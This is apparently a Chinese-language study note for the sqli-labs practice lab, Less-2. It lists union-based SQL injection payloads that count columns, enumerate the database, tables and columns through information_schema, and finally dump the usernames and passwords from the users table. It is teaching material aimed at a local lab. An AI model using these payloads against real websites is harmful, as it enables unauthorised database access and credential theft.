select id,email_id from emails where id = 1 union select username,password from users 前语句 后语句

select id,email_id,3 from emails where id = 1 union select id,username,password from users

select id,email_id,3 from emails where id = 1 order by 4

select id,email_id,3 from emails where id =’ 1’ order by 3 # ‘
select id,email_id,3 from emails where id =’ 1’ order by 3 — ’

select id,email_id,3 from emails where id = 1 and 1=2 select id,email_id,3 from emails where id = ’ 1’ and ‘1’=‘2 ’

127.0.0.1/sqli-labs/Less-2/?id= ’ 1’ and ‘1’=‘1 ’

127.0.0.1/sqli-labs/Less-2/?id= 1 and 1=2

判断目标网站注入点有没有引号（注意：一般没有任何引号）

127.0.0.1/sqli-labs/Less-2/?id= 1 order by 3

判断前语句字段数量

127.0.0.1/sqli-labs/Less-2/?id= -1 union select 1,2,database()

​ security 获取当前网站的数据库名

mysql—>数据库->表->字段->详细的信息。

tables:存放了mysql中所有表的信息。 columns:存放了mysql中所有字段的信息。

table_name:存放了所有表名的详细信息。

table_schema:表示这个表属于哪一个数据库。

column_name:记录了所有的字段名。

127.0.0.1/sqli-labs/Less-2/?id= -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’

​ emails,referers,uagents,users 获取表名

127.0.0.1/sqli-labs/Less-2/?id= -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’

​ id,username,password 获取字段名

127.0.0.1/sqli-labs/Less-2/?id= -1 union select 1,group_concat(username),group_concat(password) from users

获取字段里面的详细信息